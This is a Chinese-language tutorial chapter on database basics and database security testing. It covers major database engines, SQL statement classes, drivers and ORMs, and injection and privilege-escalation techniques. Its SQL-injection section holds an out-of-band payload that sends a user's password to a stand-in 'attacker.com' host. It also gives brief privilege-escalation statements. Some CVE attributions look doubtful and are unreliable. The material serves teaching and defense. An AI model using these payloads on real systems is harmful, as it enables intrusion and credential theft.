数据库技术基础
数据库技术基础¶
本章导读:本章介绍数据库系统的核心概念、主流数据库类型对比、SQL 语句基础、数据库安全机制(访问控制、加密、审计),以及 SQL 注入、越权访问等常见数据库安全威胁。
数据库系统概述¶
数据库系统(Database System, DBS)是用于存储、管理和检索数据的软件系统。
由数据库(DB)、数据库管理系统(DBMS)、应用程序和数据库管理员(DBA)组成。与直接使用文件(Excel、TXT)存储数据相比,数据库系统提供了数据完整性、并发控制、故障恢复、权限管理等核心能力。
关系型数据库(RDBMS)与非关系型数据库(NoSQL)对比¶
| 维度 | 关系型数据库(RDBMS) | 非关系型数据库(NoSQL) |
|---|---|---|
| 数据模型 | 二维表(行/列),严格的 Schema | 键值对、文档、列族、图等,灵活的 Schema |
| 查询语言 | 标准 SQL | 各数据库自有 API(如 MongoDB 的 MQL、Redis 的命令) |
| 事务支持 | ACID(原子性、一致性、隔离性、持久性) | 多数最终一致性,部分支持 ACID(如 MongoDB 4.0+) |
| 扩展方式 | 垂直扩展(Scale Up)为主 | 水平扩展(Scale Out)为主 |
| 适用场景 | 复杂查询、强一致性、金融交易 | 高并发读写、海量数据、灵活数据结构 |
| 典型代表 | MySQL、PostgreSQL、Oracle、SQL Server | MongoDB(文档)、Redis(键值)、Cassandra(列族)、Neo4j(图) |
SQL vs NoSQL 安全测试视角¶
-
关系型数据库的 SQL 注入是最经典的数据库攻击手段,攻击者通过构造恶意 SQL 语句绕过认证、读取敏感数据或执行系统命令
-
NoSQL 数据库虽然不使用 SQL,但存在 NoSQL 注入(如 MongoDB 的
$where、$ne操作符注入)和 Redis 命令注入(通过 CRLF 注入执行任意 Redis 命令)
常见数据库详解¶
MySQL¶
-
由瑞典 MySQL AB 公司开发,现属 Oracle,开源社区版(MySQL Community)与企业版并存
-
存储引擎架构:支持多种存储引擎,最常用的是 InnoDB(支持事务、行级锁、外键、MVCC)和 MyISAM(表级锁、全文索引,已逐步淘汰)
-
默认端口:3306。连接协议基于 TCP,认证使用
mysql_native_password或caching_sha2_password(MySQL 8.0 默认) -
主从复制(Replication):基于二进制日志(Binlog)的异步复制,支持一主多从、级联复制、GTID(全局事务标识符)
-
安全测试关注点:默认空密码 root 账户、UDF(用户自定义函数)提权、
LOAD_FILE()读取系统文件、INTO OUTFILE写文件、慢查询日志写 Shell
PostgreSQL¶
-
开源对象-关系型数据库,以标准兼容性和扩展性著称,支持复杂数据类型(JSON/JSONB、数组、自定义类型)
-
进程架构:每个连接一个后端进程(Postgres Process),通过共享内存(Shared Buffer)交互
-
默认端口:5432。认证方式支持密码、MD5、SCRAM-SHA-256、LDAP、Kerberos、证书等
-
高级特性:存储过程(PL/pgSQL、PL/Python)、触发器、规则系统(Rule System)、全文搜索、地理空间扩展(PostGIS)
-
安全测试关注点:
COPY FROM PROGRAM执行系统命令(PostgreSQL 9.3+)、pg_read_file()读取文件、弱口令、CVE-2018-16850(远程代码执行)、CVE-2019-9193(高权限命令执行)
Oracle¶
-
企业级商业数据库,市场份额最高,支持大规模事务处理(OLTP)和数据分析(OLAP)
-
体系结构:实例(Instance)= 内存结构(SGA、PGA)+ 后台进程;数据库(Database)= 数据文件 + 控制文件 + 重做日志
-
默认端口:1521(TNS 监听器)。连接使用 TNS(Transparent Network Substrate)协议
-
安全测试关注点:历史漏洞众多(如 CVE-2018-3004、CVE-2019-2551)、默认账户(SCOTT/TIGER)、PL/SQL 注入、DBMS 包权限滥用、TNS 监听器远程命令执行
SQL Server¶
-
微软开发的关系型数据库,与 Windows 生态深度集成,支持 T-SQL(Transact-SQL)扩展
-
默认端口:1433(TCP)。认证模式:Windows 身份验证(集成认证)和 SQL Server 身份验证(混合模式)
-
安全测试关注点:SA 账户弱口令、XP_CMDSHELL 存储过程执行系统命令、CLR 集成执行 .NET 代码、OLE Automation 执行 WScript.Shell、历史漏洞(CVE-2020-0618、CVE-2021-1636)
MongoDB¶
-
文档型 NoSQL 数据库,数据以 BSON(Binary JSON)格式存储,无需预定义 Schema
-
默认端口:27017。无认证模式下任何客户端可连接(历史版本默认无认证,导致大量勒索事件)
-
安全测试关注点:默认无认证暴露公网、NoSQL 注入(
$ne、$gt、$regex操作符绕过认证)、JavaScript 注入($where执行任意 JS)、GridFS 文件读取
Redis¶
-
内存键值存储数据库,支持字符串、列表、集合、有序集合、哈希、位图、HyperLogLog、流等数据结构
-
默认端口:6379。协议为 RESP(REdis Serialization Protocol),文本协议,简单高效
-
持久化:RDB(快照)和 AOF(追加日志)两种方式
-
安全测试关注点:默认无密码绑定 0.0.0.0(Redis 4.0 前常见配置问题)、主从复制 RCE(CVE-2019-10192,通过 SLAVEOF 和 MODULE LOAD 加载恶意模块)、Lua 沙箱逃逸、SSRF 攻击 Redis 协议写文件或反弹 Shell
SQL 语言基础¶
SQL(Structured Query Language)是关系型数据库的标准操作语言,分为四大类:
DDL(Data Definition Language,数据定义语言)¶
-
用于定义和修改数据库结构:
-
CREATE DATABASE/SCHEMA/TABLE/INDEX/VIEW -
ALTER TABLE(添加/修改/删除列、约束) -
DROP TABLE/DATABASE(删除表/数据库,不可逆) -
TRUNCATE TABLE(清空表数据,比 DELETE 快,不可回滚) -
安全测试意义:攻击者通过 SQL 注入执行
DROP TABLE或ALTER TABLE可破坏数据结构;信息_schema 是 MySQL 的系统数据库,包含所有表结构信息,是 SQL 注入中枚举数据库结构的关键目标
DML(Data Manipulation Language,数据操作语言)¶
-
用于操作数据记录:
-
INSERT INTO table (col1, col2) VALUES (val1, val2) -
UPDATE table SET col1=val1 WHERE condition -
DELETE FROM table WHERE condition -
安全测试意义:SQL 注入可导致未授权的数据修改(如
UPDATE users SET is_admin=1 WHERE id=1)或批量删除
DQL(Data Query Language,数据查询语言)¶
-
核心语句
SELECT,支持复杂查询: -
条件过滤:
WHERE、AND、OR、IN、BETWEEN、LIKE -
排序分页:
ORDER BY、LIMIT(MySQL)、OFFSET -
聚合分组:
COUNT()、SUM()、AVG()、GROUP BY、HAVING -
多表关联:
JOIN(INNER JOIN、LEFT JOIN、RIGHT JOIN、FULL JOIN)、UNION/UNION ALL -
子查询:嵌套 SELECT 语句
-
安全测试意义:
UNION SELECT是 SQL 注入提取数据的核心技术;ORDER BY后的数字可用于判断查询列数;子查询可用于绕过过滤
DCL(Data Control Language,数据控制语言)¶
-
用于权限管理:
-
GRANT:授予权限,如GRANT SELECT, INSERT ON db.* TO 'user'@'%' -
REVOKE:撤销权限 -
FLUSH PRIVILEGES:刷新权限表(MySQL) -
安全测试意义:高权限 SQL 注入可执行
GRANT FILE ON *.* TO 'user'@'%'提升权限,或创建新用户后门
数据库连接与驱动¶
JDBC(Java Database Connectivity)¶
-
Java 语言访问数据库的标准 API,通过驱动管理器(DriverManager)加载数据库驱动(如
com.mysql.cj.jdbc.Driver) -
连接字符串格式:
jdbc:mysql://host:port/database?param1=value1¶m2=value2 -
安全测试关注点:连接字符串硬编码在代码或配置文件中泄露凭证;JDBC 反序列化漏洞(如 MySQL JDBC 驱动的
autoDeserialize=true导致反序列化 RCE,CVE-2019-12086)
ODBC(Open Database Connectivity)¶
-
微软提出的数据库访问标准 API,通过驱动程序(Driver)连接不同数据库
-
连接字符串(DSN 或连接字符串)可能包含敏感信息,配置不当可导致未授权访问
ORM(Object-Relational Mapping)¶
-
将数据库表映射为编程语言中的对象,开发者通过操作对象而非直接写 SQL 来访问数据库
-
常见 ORM:Hibernate(Java)、Entity Framework(.NET)、SQLAlchemy(Python)、Django ORM、GORM(Go)、Sequelize(Node.js)
-
安全测试关注点:ORM 并非绝对安全,ORM 注入仍然存在。例如:
-
Django ORM:
User.objects.filter(username=request.GET['user'])若直接拼接raw()或extra()条件可注入 -
Hibernate HQL 注入:通过构造恶意 HQL 语句绕过查询逻辑
-
框架生成的查询若使用字符串拼接而非参数化查询,同样存在注入风险
数据库连接池¶
-
维护一组可复用的数据库连接,减少连接创建开销。常见实现:HikariCP(Java)、Druid(Java)、pgBouncer(PostgreSQL)、连接池中间件(MySQL Proxy)
-
安全测试关注点:连接池配置中的最大连接数、连接超时、空闲检测;连接池监控接口(如 Druid 的
/druid/index.html)默认无认证暴露可导致数据库信息泄露
数据库安全测试关联点¶
-
SQL 注入(SQL Injection):最经典的数据库攻击,通过用户输入拼接 SQL 语句导致未授权数据访问或命令执行。分类:
-
联合查询注入(Union-based):利用
UNION SELECT合并查询结果提取数据 -
报错注入(Error-based):通过数据库报错信息泄露敏感数据(如 MySQL 的
extractvalue()、updatexml()) -
布尔盲注(Boolean-based Blind):通过页面响应差异(True/False)逐位推断数据
-
时间盲注(Time-based Blind):通过延迟函数(
SLEEP()、BENCHMARK())判断条件成立与否 -
堆叠查询(Stacked Queries):一次提交多条 SQL 语句(MySQL 支持,部分数据库不支持)
-
带外注入(Out-of-band):通过 DNS 查询(
LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a.txt')))或 HTTP 请求外带数据 -
防御:参数化查询(Prepared Statements)、ORM 安全使用、输入过滤、WAF、最小权限原则
-
工具:SQLMap(自动化 SQL 注入检测与利用)、Burp Suite(手工测试)、NoSQLMap(NoSQL 注入检测)
-
权限绕过与提权:
-
数据库账户权限过大(如应用使用 root/DBA 账户连接)导致注入后可执行任意操作
-
MySQL UDF 提权:上传自定义动态链接库(
.so/.dll)到插件目录,创建函数执行系统命令 -
SQL Server XP_CMDSHELL 提权:启用存储过程执行操作系统命令
-
PostgreSQL
COPY FROM PROGRAM提权:高权限用户执行系统命令 -
Redis 主从复制 RCE(CVE-2019-10192):伪造 Redis 主服务器,发送恶意模块实现远程代码执行
-
敏感信息泄露:
-
数据库错误信息暴露表结构、字段名、SQL 语句(调试模式未关闭)
-
备份文件泄露(
.sql、.bak、.dump) -
数据库配置文件泄露(
config.php、database.yml、application.properties包含连接字符串) -
慢查询日志、通用查询日志包含敏感 SQL 语句
-
数据库漏洞 CVE:
-
MySQL:CVE-2016-6662(远程代码执行,通过配置文件注入)、CVE-2021-2307(认证绕过)
-
PostgreSQL:CVE-2018-16850(远程代码执行)、CVE-2019-9193(高权限命令执行)
-
Oracle:CVE-2018-3004(WebLogic 配合数据库攻击链)、CVE-2021-2356(TNS 监听器漏洞)
-
MongoDB:历史默认无认证导致大规模勒索(2017 年约 27000 台服务器被勒索)
-
Redis:CVE-2019-10192(主从复制 RCE)、CVE-2021-41099(Lua 沙箱逃逸)